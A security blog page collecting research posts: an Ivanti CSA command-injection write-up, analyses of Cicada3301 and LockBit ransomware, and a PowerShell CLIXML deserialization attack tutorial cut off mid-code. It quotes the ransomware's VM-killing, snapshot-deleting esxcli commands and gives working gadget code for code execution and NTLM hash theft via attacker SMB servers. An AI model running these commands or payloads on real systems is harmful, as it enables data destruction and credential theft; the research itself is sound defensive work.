Skip to content

Admiration Tech News

  • Home
  • Cyber Attacks
  • Data Breaches
  • Vulnerability
  • Exploits
  • Crack Tutorials
  • Programming
  • Tools

Category: Exploits

All new Exploits posts goes here

CVE-2024-8190: Investigating CISA KEV Ivanti Cloud Service Appliance Command Injection Vulnerability

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

On September 10, 2024, Ivanti released a security advisory for a command injection vulnerability for it’s Cloud Service Appliance (CSA) product. Initially, this CVE-2024-8190 seemed uninteresting to us given that Ivanti stated that it was an authenticated vulnerability. Shortly after on September 13, 2024, the vulnerability was added to CISA’s Known Exploited Vulnerabilities (KEV). Given it was now exploited in the wild we decided to take a look.

The advisory reads:

Ivanti has released a security update for Ivanti CSA 4.6 which addresses a high severity vulnerability. Successful exploitation could lead to unauthorized access to the device running the CSA. Dual-homed CSA configurations with ETH-0 as an internal network, as recommended by Ivanti, are at a significantly reduced risk of exploitation.

An OS command injection vulnerability in Ivanti Cloud Services Appliance versions 4.6 Patch 518 and before allows a remote authenticated attacker to obtain remote code execution. The attacker must have admin level privileges to exploit this vulnerability.

The description definitely sounds like it may have the opportunity for accidental exposure given the details around misconfigurations of the external versus internal interfaces.

Cracking It Open

Inspecting the patches, we find that the Cloud Service Appliance has a PHP frontend and the patch simply copies in newer PHP files.

Figure 1. Patch introduces more updated php files

Inspecting the 4 new PHP files, we land on DateTimeTab.php which has more interesting changes related to validation of the zone variable right before a call to exec().

Figure 2. Validating the zone variable

Now that we have a function of interest we trace execution to it. We find that handleDateTimeSubmit() calls our vulnerable function on line 153.

Figure 3. handleDateTimeSubmit parses HTTP requests

We see that the function takes the request argument TIMEZONE and passes it directly to the vulnerable function, which previously had no input validation before calling exec with our input formatted to a string.

Developing the Exploit

We find that the PHP endpoint /datetime.php maps to the handleDateTimeSubmit() function, and is accessible only from the “internal” interface with authentication.

Putting together the pieces, we’re able to achieve command injection by supplying the application username and password. Our proof of concept can be found here.

Figure 4. Authenticated Command Injection

N-Day Research – also known as CVSS Quality Assurance

It seems that Ivanti is correct in marking that this is an authenticated vulnerability. But lets take a look at their configuration guidance to understand what may have went wrong for some of their clients being exploited in the wild.

Ivanti’s guidance about ensuring that eth0 is configured as the internal network interface tracks with what we’ve found. When attempting to reach the administrative portal from eth1, we find that we receive a 403 Forbidden instead of a 401 Unauthorized.

Figure 5. 403 from the external interface

Users that accidentally swap the interfaces, or simply only have one interface configured, would expose the console to the internet.

If exposed to the internet, we found that there was no form of rate limiting in attempting username and password combinations. While the appliance does ship with a default credential of admin:admin, this credential is force updated to stronger user-supplied password upon first login.

Figure 6. Password policy

We theorize that most likely users who have been exploited have never logged in to the appliance, or due to lack of rate limiting may have had poor password hygiene and had weaker passwords.

Indicators of Compromise

We found sparse logs, but in /var/log/messages we found that an incorrect login looked like the following messages – specifically key in on “User admin does not authenticate”.

Figure 7. Failed logon

When authentication is successful it looked like – where a successful request has a 200 successful after it.

Figure 8. Successful login

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Dissecting the Cicada

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Cicada3301 – A New Ransomware-as-a-Service

The Cicada3301 appears to be a traditional ransomware-as-a-service group that offers a platform for double extortion, with both a ransomware and a data leak site, to its affiliates. The first published leak on the group’s data leak site is dated June 25, 2024. Four days later, on June 29, the group published an invitation to potential affiliates to join their ransomware-as-a-service platform on the cybercrime forum Ramp.

Cicada3301 announces its affiliate program on Ramp.

As advertised above, The Cicada3301 group uses a ransomware written in Rust for both Windows and Linux/ESXi hosts. This report will focus on the ESXi ransomware, but there are artifacts in the code that suggest that the Windows ransomware is the same ransomware, just with a different compilation.

While more and more ransomware groups are adding ESXi ransomware to their arsenal, only a few groups are known to have used ESXi ransomware written in Rust. One of them is the now-defunct Black Cat/ALPHV ransomware-as-a-service group. Analysis of the code has also shown several similarities in the code with the ALPHV ransomware.

The Cicada3301 ransomware has several interesting similarities to the ALPHV ransomware.

  • Both are written in Rust
  • Both use ChaCha20 for encryption
  • Both use almost identical commands to shutdown VM and remove snapshots[1]
  • Both use –ui command parameters to provide a graphic output on encryption
  • Both use the same convention for naming files, but changing “RECOVER-“ransomware extension”-FILES.txt”  to “RECOVER-“ransomware extension”-DATA.txt”[2]
  • How the key parameter is used to decrypt the ransomware note

Below is an example of code from Cicada3301 that is almost identical to ALPHV.

Example of code shared between ALPHV and Cicada3301.

Analysis of the Threat Actor

The initial attack vector was the threat actor using valid credentials, either stolen or brute-forced, to log in using ScreenConnect. The IP address 91.92.249.203, used by the threat actor, has been tied to a botnet known as “Brutus” that, in turn, has been linked to a broad campaign of password guessing various VPN solutions, including ScreenConnect. This botnet has been active since at least March 2024, when the first article about it was published, but possibly longer.[3] 

The IP address used in this initial login was used a few hours before the threat actor started to conduct actions on the systems, so it is highly unlikely that an access broker could compromise the system and pass on the access to a buyer in the span of a few hours unless there was an established connection between them.

This could mean that either (A) the threat actor behind the Brutus botnet is directly connected to the Cicida3301 ransomware group or (B) the use of the IP address by two separate threat actors, both using them to compromise victims using ScreenConnect, is purely coincidental. As far as we could observe, this IP address was still part of the “Brutus” botnet at the time of the ransomware attack.

The timeline is also interesting as the Brutus botnet activity began on March 18, two weeks after it was reported that the BlackCat/ALPHV ransomware group conducted an apparent exit scam and ceased their operations.[4]

It is possible that all these events are related and that part of the BlackCat group has now rebranded themselves as Cicada3301 and teamed up with the Brutus botnet, or even started it themselves, as a means to gain access to potential victims, while they modified their ransomware into the new Cicada3301. Having easy access to a reliable initial access broker can be a way to offer a more “complete” service for the group’s affiliates.

The group could also have teamed up with the malware developer behind ALPHV. This individual appears to have worked for several different ransomware groups in the past.[5]

It is also possible that another group of cybercriminals obtained the code to ALPHV and modified it to suit their needs. When BlackCat shut down their operations, they stated that the source code to their ransomware was for sale for $5 million.  It is also important to note that, as far as we can tell, the Cicada3301 is not quite as sophisticated as the ALPHV ransomware. The creators may decide to add additional features, such as better obfuscation, later.

Regardless of whether Cicada3301 is a rebrand of ALPHV, they have a ransomware written by the same developer as ALPHV, or they have just copied parts of ALPHV to make their own ransomware, the timeline suggests the demise of BlackCat and the emergence of first the Brutus botnet and then the Cicada3301 ransomware operation may possibly be all connected. More investigation is needed before we can say anything for certain, however.

Technical Details

Initial Observations

The ransomware is an ELF binary, and as shown by Detect It Easy, it is compiled and written in Rust.

Initial triage of the ransomware

That the ransomware is written in Rust was further strengthened by investigating the .comment section of the binary. There, it was revealed that version 1.79.0 of Rust has been used.

.comment section of the ransomware

Finally, it was further validated that the binary was written in Rust by just looking for strings in the ransomware. With string references to “Rust”, and strings referencing to “Cargo” that is Rust’s build system and package manager, it is concluded that the ransomware is written in Rust.

Strings related to Rust in the ransomware

Ransomware Functionality

At the start of the ransomware main function, there are several references to parameters that should be passed as an argument to binary, using clap::args, that hold different functionalities that can be used in combination as well.

Arguments passed to the ransomware

The binary has a built-in help function, giving an explanation of the different parameters and how they should be used.

Help function of the ransomware

The main function of the binary, which is done by the malware developer, is called linux_enc. By searching for linux_enc function a general program flow of the binary could be found.

The function calls of main

The Ransomware Parameters

It is possible to add a sleep parameter of the binary, adding a delay in seconds when the ransomware should be executed. For the sleep function, the ransomware uses the built-in sleep function std::thread::sleep

The sleep parameter of the ransomware

The ui parameter prints the result of the encryption to the screen, showing what files have been encrypted and a statistic of the total amount of files and data that has been successfully encrypted.

The ui parameter of the ransomware

The ui parameter was confirmed by running the ransomware and using the ui flag, showing the progress and statistics on the command prompt.

The ui parameter output

If the parameter no_vm_ss is chosen, the ransomware will encrypt files without shutting down the virtual machines that are running on ESXi. This is done by using the built-in esxicli terminal that will also delete snapshots.

Built-in esxicli commands of the ransomware

The full commands that the ransomware is utilizing are the following.

esxcli –formatter=csv –format-param=fields==\”WorldID,DisplayName\” vm process list | grep -viE \”,(),\” | awk -F \”\\\”*,\\\”*\” \'{system(\”esxcli vm process kill –type=force –world-id=\”$1)}\’ > /dev/null 2>&1;

for i in `vim-cmd vmsvc/getallvms| awk \'{print$1}\’`;do vim-cmd vmsvc/snapshot.removeall $i & done > /dev/null 2>&1

The most important parameter is the one named key. This needs to be provided, otherwise the binary will fail and show on the screen “Key is invalid”.

Output if wrong key is passed to the ransomware

The binary has a function called check_key_and_get_rec_text. It will make a check to see if the provided key is of length 0x2C to enter the function, but the size is also provided as an argument to the function. If the length is less than 0x2C the binary will terminate directly.

Checking correct key length

If the size of the key is correct, the ransomware will enter the function check_key_and_get_rec_text. One of the first things that happen in the function is to load an encrypted base64 encoded data blob that is stored in the data section. The decoded data is then stored and will be used later in the function.

Encoded and encrypted ransomware note inside the ransomware

The provided parameter key is then taken as a key to decrypt, using ChaCha20, the encoded data blob. If the provided key is correct the message that is shown in the ransomware note will be decrypted.

Decryption of the ransomware note
Decrypted ransomware note

To verify that the provided key was correct after exiting the check_key_and_get_rec_text function, there is a check that the ransomware note has been decrypted properly.

Validation that the ransomware note has been decrypted

File Encryption

The functions start by using OsRng to generate entropy for the symmetric key. OsRng is a random number generator that retrieves randomness from the operating system.

Function used to generate keys to ChaCha20

The binary contains a function called encrypt_file that handles the encryption of the files. The first function is to extract another public pgp key that is stored in the data section. This key is used for encryption to encrypt the symmetric key that is generated for file encryption.

RSA key used for key encryption

It then creates the file that will store the ransomware message in the folder of the encrypted files. It will be named “RECOVER-’ending of encrypted file’-DATA.txt”

Creating the ransomware note

Inside the encryption function there is a list of file extensions where most of them are related to either documents or pictures. This indicates that the ransomware has been used to encrypt Windows systems before being ported to ransomware ESXi hosts.

File extensions for encryption (not used)

The full list of extensions:

jpeg, webp, tiff, docx, docm, dotx, dotm, xlsx, xlsm, xltx, xltm, xlsb, xlam, pptx, pptm, ptox, potm, ppsx, ppsm, sql, doc, rtf, xls, jpg, png, gif, psd, raw, bmp, pdf, odt, ods, odp, mdf, txt

Then it checks the size of the file. If it is greater than 0x6400000, then it will encrypt the file in parts, and if it is smaller, the whole file will be encrypted.

Checking file size for encryption

The files will then be encrypted with a symmetric key generated by OsRng using ChaCha20.

Use of ChaCha20 for file encryption

After the encryption is done, the ransomware encrypts the ChaCha20 key with the provided RSA key and finally writes the extension to the encrypted file.

Adding the encryption file extension

The file extension is also added to the end of the encrypted file, together with the RSA-encrypted ChaCha20 key.

File extension at the end of the file

YARA Rule for Cicada3301 Threat Hunting

rule elf_cicada3301{

      meta:
             author = "Nicklas Keijser"
             description = "Detect ESXi ransomware by the group Cicada3301"
             date = "2024-08-31"

      strings:
             $x1 = "no_vm_ss" nocase wide ascii
             $x2 = "linux_enc" nocase wide ascii
             $x3 = "nohup" nocase wide ascii
             $x4 = "snapshot.removeall" nocase wide ascii
             $x5 = {65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B} //Use of ChaCha20 constant expand 32-byte k

      condition:
             uint16(0) == 0x457F
             and filesize < 10000KB
             and (all of ($x*))
}


Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

LockBit Analysis

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

To decipher what this change in modus meant, we first decided to see if this was indeed the actual LockBit ransomware or someone using a modified version of LockBit. The builder for this particular ransomware, LockBit Black, has been leaked after an internal squabble in the group in 2022. So we decided to compare the ransomware used in this incident with one we generated ourselves with the leaked LockBit Black builder.

To start with, the builder has a number of different functions it utilizes when a encryption and decryption binary is created. This is all bundled into a single .bat file called build.bat. There are two main binaries, keygen.exe that generates the encryption key and the “Decryption ID”. The binary builder.exe takes a .json file with the different parameters that the ransomware binary can utilize, such as whitelisting of file types, hosts, folders and extensions but also if it should set the wallpaper among several other settings.

Figure 1 Content of builder.bat

One question upon generating a binary with the build.exe binary was how the “Decryption ID” is determined, if that is something that needs to be given or can be set with the builder.

Looking at the sample it was found during the building of the ransomware binary, the keygen file generates the public and private RSA that is then used to encrypt the symmetric key that encrypts the files. The “Decryption ID” is eight hex bytes from the public RSA key after it has been base64 decoded.

Figure 2 Generating the Decryption ID from the public RSA key

Since the ransomware binary can completely be generated from the builder, then how different was the sample found in the recent incident compared to one that is generated with the builder.

The samples were compared, using BinDiff, and showcasing that the binaries are identical. The binary generated by the builder is named LB3 as the one found in the incident. To make it clearer the ransomware binary generated with the builder is called LB3-built in the pictures.

Figure 3 BinDiff comparing LockBit3 from the incident with one done with the builder
Figure 4 BinDiff comparing LockBit3 from the incident with one done with the builder
Figure 5 BinDiff comparing LockBit3 from the incident with one done with the builder

It’s obvious from this comparison that the ransomware used in this incident came from the official LockBit builder. This means that the threat actor was using the LockBit ransomware, without using the LockBit portal. To unpack what this means, we need to explain a bit about the criminal ransomware-as-a-service ecosystem.

The LockBit syndicate are not themselves hacking any victims. They operate a ransomware-as-a-service (RaaS) platform for other cybercriminals. One main service they offer is access to their own ransomware, but this is clearly only part of their service, as criminals could easily avoid paying them anything by using the leaked builder. The LockBit platform also includes access to other tools, like a negotiation platform and a data leak site to publish stolen data if the victims refuse to pay.

Their perhaps most important asset is also their brand. A very valid question for any ransomware victim is how they can be sure they will actually get their data back, if they pay the ransom to criminals. LockBit is a well-known brand, and they know that their profits will suffer if their name is associated with scams, so they ensure all “clients” get the decryption keys they pay for. They even claim they offer around-the-clock support service for victims that have trouble getting back their data after receiving the decryption keys.

There are other ransomware groups that use leaked builders to create their own ransomware. DragonForce is a relatively new ransomware group that use the leaked LockBit Black ransomware as base for their own ransomware. They have modified the ransomware, however, so it displays their own brand logo instead of the LockBit logo. Again, ransomware criminals rely on their brand to convince victims they won’t be scammed if they do pay the ransom. [1]

While it is possible that the threat actor may just be an inexperienced cybercriminal deciding to forego the advantages of using the LockBit portal to avoid paying the fees to LockBit, there are other potential reasons this particular cybercriminal decided to not use LockBit services.

LockBit had their infrastructure compromised by law enforcement in February 2024. Later in May 2024, the FBI outed the identity of the leader of LockBit, as the Russian national Dmitry Khorosev, when he was indicted. [2] This also meant that Khorosev became the subject to US sanctions under OFAC. Sanctions make it illegal for victims to pay ransom sums that may benefit sanctioned individuals. Such sanctions have in the past made victims less inclined to pay ransom sums, which in turn forced the affected ransom groups to “rebrand” to avoid it.

It’s possible a LockBit affiliate may attempt to create distance to Khorosev by not using the LockBit portal. The ransomware still displays the LockBit Black logo, but that is hard coded into the builder and requires a lot more time and technical skills to change. We have confirmed that changing the ransom note just requires changing a simple config file in the builder. It is also possible the affiliate no longer trusts LockBit after their infrastructure got compromised by law enforcement.

In fact, LockBit appears to struggle to stay relevant. After going silent for a long time after his identity was outed, the leader of LockBit have begun posting things that appear to be nothing more attention-grabbing publicity stunts, such as claiming LockBit had stolen data from the US Federal Reserve, a claim that was quickly debunked. [3]

It is far too early to draw any long-term conclusions from this one case, but it appears that international law enforcement has singled out these RaaS platforms, such as LockBit and AlphV [4], as key elements in the ransomware ecosystem, and try to take them down. This means that ransomware criminals will probably now have to adapt to this.  

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, Programming, Ransomware, Reverse Engineering, vulnerabilityLeave a comment

Attacking PowerShell CLIXML Deserialization

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

In the video below we show a Hyper-V guest-to-host breakout scenario that is based on a CLIXML deserialization attack. After reading this article, you will understand how it works and what you need to do to ensure it does not affect your environment.Hyper-V breakout via CLIXML deserialization attack

PART 1 – HISTORY OF DESERIALIZATION ATTACKS

Serialization is the process of converting the state of a data object into an easily transmittable data format. In serialized form, the data can be saved in a database, sent over the network to another computer, saved to disk, or some other destination. The reverse process is called deserialization. During deserialization the data object is reconstructed from the serialized form.

CWE-502: Deserialization of Untrusted Data is a vulnerability class that occurs when an application deserializes data that can be controlled by an adversary.

This vulnerability class was first described in 2006 by Marc Schönefeld in Pentesting J2EE although it really became mainstream around 2015 after Frohoff and Lawrence published Marshalling Pickles and their tool YsoSerial. Muñoz and Mirosh later showed that deserialization attacks are also possible in .NET applications in Friday The 13th JSON Attacks. Although they do not target PowerShell deserialization explicitly, their research actually touched upon CLIXML, specifically in their PSObject gadget chain (PSObjectGenerator.cs). As of 2024, most languages and frameworks have been studied in the context of deserialization attacks including PHP, Python, and others.

What is a gadget chain? Essentially, a gadget chain is the serialized data that the threat actor provides to exploit the vulnerability. The gadget chain is crafted to trigger a chain of function calls that eventually leads to a security impact. For example, it may start with an implicit call to “destruct” on the object that the threat actor controls. Within that function, another function is called, and so on. If you are unfamiliar with the generic concepts of deserialization attacks, I recommend that you check out my previous article on PHP Laravel deserialization attacks: From S3 bucket to Laravel unserialize RCE – Truesec. There are also plenty of great resources online!

Afaik, the first time CLIXML deserialization attacks in a PowerShell context got proper attention was during the Exchange Server exploits. CLIXML deserialization was a key component of the ProxyNotShell exploit chain. Piotr Bazydło did a great job explaining how it works in Control Your Types of Get Pwned and he has continued researching the topic of Exchange PowerShell (see OffensiveCon24). This research has been an important source of inspiration for me. However, the key difference from what we will dive into here, is that ProxyNotShell and Bazydło’s research are limited to Exchange PowerShell. We will look into PowerShell in general.

PART 2 – INTRODUCTION TO CLIXML SERIALIZATION

PowerShell is a widely used scripting language available by default on all modern Windows computers. PowerShell CLIXML is the format used by PowerShell’s serialization engine PSSerializer.

The cmdlets Import-Clixml and Export-Clixml makes it easy to serialize and deserialize objects in PowerShell. The cmdlets are essentially wrappers for the underlying functions [PSSerializer]::Serialize() and [PSSerializer]::Deserialize().

Here’s an example of how it could be used:

# Create an example object and save it to example.xml
$myobject = "Hello World!"
$myobject | Export-Clixml .\example.xml

# Here we deserialize the data in example.xml into $deserialized. Note that this works even if example.xml was originally created on another computer.
$deserialized = Import-Clixml .\example.xml

The format of example.xml is, you guessed it, CLIXML. Below we see the contents of the file.

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<S>Hello World!</S>
</Objs>

CLIXML supports so called “primitive types” that can be declared with their respective tags. The table below shows a few examples.

ElementTypeExample
SString<S>Hello world</S>
I32Signed Integer<I32>1337</I32>
SBKScriptBlock<SBK>get-process</SBK>
BBoolean<B>true</B>
BAByte array (base64 encoded)<BA>AQIDBA==</BA>
NilNULL<Nil />

Examples of known primitive types

CLIXML also supports what they call “complex types” which includes Lists, Stacks, and Objects. An Object uses the tag <Obj>. The example below is a serialized System.Drawing.Point object. You can see the type name System.Drawing.Point under TN and under Props the properties named IsEmpty, X and Y.

<Obj RefId="RefId-0">
    <TN RefId="RefId-0">
        <T>System.Drawing.Point</T>
        <T>System.ValueType</T>
        <T>System.Object</T>
    </TN>
    <Props>
        <B N="IsEmpty">false</B>
        <I32 N="X">12</I32>
        <I32 N="Y">34</I32>
    </Props>
</Obj>

That’s it for the quick introduction to CLIXML and should cover what you need to know to follow the rest of this article. If you want to learn more you can find the complete specification under MS-PSRP documentation here [MS-PSRP]: Serialization | Microsoft Learn.

PSSERIALIZER AND CLIXML DESERIALIZATION

PowerShell Core started as a fork of Windows PowerShell 5.1 and is open source (PowerShell). We use the public source code to gather an understanding of how the internals of the deserialization work.

We follow the code flow after calling the PSSerializer.Deserialize function and see that the serialized XML ends up being parsed, recursively looped, and every element is eventually passed to the ReadOneObject (serialization.cs) function, defined in the InternalSerializer class.

The ReadOneObject function determines how to handle the data, specifically how to deserialize it. The returned object will either be rehydrated or restored as a property bag.

Let’s explain these two terms with an example. First we create a System.Exception object, we check what type it is using the Get-Member cmdlet. We see that the type is System.Exception.

$object = new-object System.Exception
$object | Get-Member

Then we serialize System.Exception into CLIXML. We then deserialize the object and print the type information again. We see that after deserialization, it is no longer the same type.

$serialized = [System.Management.Automation.PSSerializer]::Serialize((new-object System.Exception))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member

The $deserialized object is of the type Deserialized.System.Exception. This is not the same as System.Exception. Classes with the Deserialized prefix are sometimes called property bags and you can think of them as a dictionary type. The property bag contains the public properties of the original object. Methods of the original class are not available through a property bag.

With rehydration on the other hand, you will get a “live object” of the original class. Let’s take a look at an example of this. You’ll notice in the example below, the $deserialized object is of the type Microsoft.Management.Infrastructure.CimInstance#ROOT/cimv2/Win32_BIOS, just like the original object. Because of this, we also have access to the original methods.

$serialized = [System.Management.Automation.PSSerializer]::Serialize((Get-CIMinstance Win32_BIOS))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member

USER-DEFINED TYPES

User-defined types are types that PowerShell module developers can define. However, PowerShell ships with a bunch of modules, so arguably we also have default user-defined types. User-defined types are specified in files name *.types.ps1xml and you can find the default ones under $PSHOME\types.ps1xml.

An example of the default types, is Deserialized.System.Net.IPAddress. Below we see the type definition in types.ps1xml.

<Type>
  <Name>Deserialized.System.Net.IPAddress</Name>
  <Members>
    <MemberSet>
      <Name>PSStandardMembers</Name>
      <Members>
        <NoteProperty>
          <Name>TargetTypeForDeserialization</Name>
          <Value>Microsoft.PowerShell.DeserializingTypeConverter</Value>
        </NoteProperty>
      </Members>
    </MemberSet>
  </Members>
</Type>

This type schema applies to the property bag Deserialized.System.Net.IPAddress and we see that they define a TargetTypeForDeserialization. The Microsoft.PowerShell.DeserializingTypeConverter is a class that inherits from System.Management.Automation.PSTypeConverter. In short, this definition says that the property bag should be rehydrated to the original System.Net.IPAddress object during deserialization.

On my system, I found that types.ps1xml contains 27 types that will be rehydrated. Note that this varies depending on what features and software you have installed on the computer. For example, a domain controller will by default have the Active Directory module installed.

SUMMARY OF WHAT WE LEARNED

In the PSSerializer deserialization, objects are either converted into a property bag or rehydrated to the original object. The object will be rehydrated if it is a:

  • Known primitive type (e.g. integers, strings)
  • CimInstance type
  • Type supported by the default DeserializingTypeConverter
  • User-defined type (that defines a DeserializingTypeConverter)

PART 3 – ATTACKING CLIXML DESERIALIZATION

In this section we will start looking into what could go wrong during the CLIXML deserialization. We will start with some less useful gadgets that are great for understanding how things work. Later, we will dive into the more useful gadgets.

SCRIPTBLOCK REHYDRATION

ScriptBlock (using the tag <SBK>) is a known primitive type. This type is special because even if it is technically a known primitive type (that should be rehydrated) it is not rehydrated to ScriptBlock but instead to String. There have been multiple issues created around this in the PowerShell GitHub repo and the PowerShell developers have stated that this is by design, due to security reasons.

https://github.com/PowerShell/PowerShell/issues/4218#issuecomment-314851921
https://github.com/PowerShell/PowerShell/issues/11698#issuecomment-801476936

Ok, fine – no rehydrated ScriptBlocks.

Remember that there are some default types that are rehydrated? There are three types that we found useful, namely:

  • LineBreakpoint
  • CommandBreakpoint
  • VariableBreakpoint

We find that if a ScriptBlock is contained within a Breakpoint, then it will actually rehydrate. Here’s the source code for the CommandBreakpoint rehydration, notice the call to RehydrateScriptBlock:

https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/serialization.cs#L7041

We can confirm this by running the following:

$object = Set-PSBreakpoint -Command nan -Action {calc} 
$serialized = [System.Management.Automation.PSSerializer]::Serialize($object)
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | gm
$deserialized.Action.Invoke()

Do you remember Microsoft’s answers in the Github issues I showed above, they said “we do not want to deserialize ScriptBlocks because there would be too many places with automatic code execution”. What did they mean with that?

I believe they refer to delay-bind arguments. There are lots of them in PowerShell.

# These two are obvious, and will of course pop calc, because you are explicitly invoking the action
& $deserialized.Action
Invoke-Command $deserialized.Action 

$example = “This can be any value” 

# But if you run this, you will also pop mspaint 
$example | ForEach-Object $deserialized.Action 

# and this will pop mspaint
$example | Select-Object $deserialized.Action

# And this
Get-Item .\out | Copy-Item -Destination $deserialized.Action

# And all of these
$example | Rename-Item -NewName $deserialized.Action
$example | Get-Date -Date $deserialized.Action 
$example | Group-Object $deserialized.Action
$example | Sort-Object $deserialized.Action 
$example | Write-Error -Message $deserialized.Action 
$example | Test-Path -Credential $deserialized.Action
$example | Test-Path -Path $deserialized.Action 
$example | Test-Connection -ComputerName $deserialized.Action 

# And way more 

Even if this gadget isn’t very practical, as the victim must use the property name “action” to make it trigger, I believe it still shows that you cannot trust deserialized data.

ARBITRARY DNS LOOKUP

As we talked about previously, CimInstances will rehydrate by default. There are a few interesting CimInstance types that ship with a vanilla PowerShell installation.

The first one is Win32_PingStatus. The code we see below is from the Types.ps1xml file:

 <Type>
    <Name>System.Management.ManagementObject#root\cimv2\Win32_PingStatus</Name>
    <Members>
      <ScriptProperty>
        <Name>IPV4Address</Name>
        <GetScriptBlock>
          $iphost = [System.Net.Dns]::GetHostEntry($this.address)
          $iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } | select -first 1
        </GetScriptBlock>
      </ScriptProperty>
      <ScriptProperty>
        <Name>IPV6Address</Name>
        <GetScriptBlock>
          $iphost = [System.Net.Dns]::GetHostEntry($this.address)
          $iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetworkV6 } | select -first 1
        </GetScriptBlock>
      </ScriptProperty>
    </Members>
 </Type>

We see that IPV4Address is defined as a ScriptProperty that contains a call to GetHostEntry, which is a function that will trigger a DNS request. The argument to the function is the property Address.

In an insecure deserialization scenario, we can control this value and thus trigger arbitrary DNS requests from the victim’s machine. To try this out we need to first get a template for the payload, we do so by serializing a Win32_PingStatus object.

Get-CimInstance -ClassName Win32_PingStatus -Filter "Address='127.0.0.1' and timeout=1" | export-clixml .\payload.xml

We then open up payload.xml and change the Address property to a domain of our choosing.

CLIXML payload file, with manipulated Address property

We fire up Wireshark to observe the network traffic and then we deserialize the payload with Import-CliXml.

import-clixml .\payload.xml
Network traffic showing that the domain name lookup was triggered

Cool! We can trigger arbitrary DNS requests from an untrusted data deserialization. This gadget would be the “PowerShell version” of the Java URLDNS gadget.

What’s the security impact of a DNS request? Not much by itself. However, it is very useful when looking for security vulnerabilities with limited visibility of the target application. An adversary can set up a DNS request listener (such as Burp Collaborator) and then use this gadget as their payload. This way they can confirm that their payload got deserialized by the target application.

AVAILABILITY AND FORMATTING

Let’s take a look at another gadget that isn’t that very useful but is interesting because we will learn more about how these CLIXML gadgets work. Let’s look at MSFT_SmbShare. This type will call the cmdlet Get-Acl with the property Path as argument.

<Type>
        <Name>Microsoft.Management.Infrastructure.CimInstance#ROOT/Microsoft/Windows/SMB/MSFT_SmbShare</Name>
        <Members>
            <ScriptProperty>
                <Name>PresetPathAcl</Name>
                <GetScriptBlock>
                    $acl = Get-Acl ($this.PSBase.CimInstanceProperties['Path'].Value)
                    $acl.SetSecurityDescriptorSddlForm( $this.PSBase.CimInstanceProperties['SecurityDescriptor'].Value, [System.Security.AccessControl.AccessControlSections]::Access )

// Shortened for brevity

We can of course control the value of this property and set it to any value. If a UNC path is provided, Get-Acl will attempt to authenticate, and thus send the victim’s Net-NTLMv2 hash to the remote host we specify.

We generate a payload and set the Path property, similarly to how we did it with Win32_PingStatus. However, we notice that it does not trigger.

Why? Well, this module (SmbShare) is included by default in PowerShell, but it is not loaded automatically on startup. In PowerShell, modules are either loaded explicitly with Import-Module <modulename> or implictly once the module is “touched”. Implicit load triggers when a cmdlet of the module is used (for example Get-SmbShare in this case), or when you use Get-Help or Get-Command.

In other words, we need to run:

Get-SmbShare
Import-CliXml .\payload.xml 

But it still doesn’t work!

The second issue is that the property we try to abuse is PresetPathAcl, but this is not included in the “default view”. In PowerShell, Format.ps1xml files can be used to define how objects should be displayed (see about_Format.ps1xml – PowerShell | Microsoft Learn). The format files are used to declare which properties should be printed in list view, table view, and so on.

In other words, our gadget will only trigger when the PresetPathAcl is explicitly accessed, or implicitly when all properties are accessed. Below we see a few examples of when it will trigger.

$deserialized | Export-CliXml .\save.xml
$deserialized | Export-Csv .\save.csv
$deserialized | Select-Object *
$deserialized | Format-Table *
$deserialized | ConvertTo-Csv
$deserialized | ConvertTo-Json
$deserialized | ConvertTo-Html

So, finally, we spin up an MSF listener to capture the hash. We load the module, deserialize the data, and finally select all properties with export-csv.

Get-SmbShare
$deserialized = Import-CliXml .\payload.xml 
$deserialized | export-csv .\test.csv
SMB server showing a captured hash

ABITRARY PROVIDER QUERY / HASH STEALER

Now let’s look at the Microsoft.Win32.RegistryKey type. It defines an interesting ViewDefinition in its format.xml file. We see when printed as a list (the default output format), it will perform a Get-ItemProperty call with the member PSPath as its LiteralPath argument.

Like we already learned, we can control the value of properties. Thus, we can set PSPath to any value we desire. To create the a payload template, we serialize the result of a Get-Item <regpath> call, then we change the property to point to our malicious SMB server.

Now, this is more fun, because the type is available by default and the property is accessed by default. All that’s the victim need to do to trigger the gadget is:

import-clixml payload.xml

… and ta-da!

SMB server showing a captured hash

REMOTE CODE EXECUTION

So far, we looked at how to exploit deserialization when you only have the default modules available. However, PowerShell has a large ecosystem of modules. Most of these third-party modules are hosted on PowerShell Gallery.

PSFramework is a PowerShell module with close to 5 million downloads on PowerShell Gallery. On top of this, there are many modules that are dependent on this module. A few notable examples are the Microsoft official modules Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, and Microsoft/PAWTools.

PSFramework module implements user-defined types with a custom converter. If we look at the PSFramework.Message.LogEntry type as an example, we see that it reminds us of the default type IPAddress that we looked at before. The key difference is that it specifies PSFramework.Serialization.SerializationTypeConverter as its type converter.

<Type>
    <Name>Deserialized.PSFramework.Message.LogEntry</Name>
    <Members>
      <MemberSet>
        <Name>PSStandardMembers</Name>
        <Members>
          <NoteProperty>
            <Name>
              TargetTypeForDeserialization
            </Name>
            <Value>
              PSFramework.Message.LogEntry
            </Value>
          </NoteProperty>
        </Members>
      </MemberSet>
    </Members>
</Type>
<Type>
    <Name>PSFramework.Message.LogEntry</Name>
    <Members>
      <CodeProperty IsHidden="true">
        <Name>SerializationData</Name>
        <GetCodeReference>
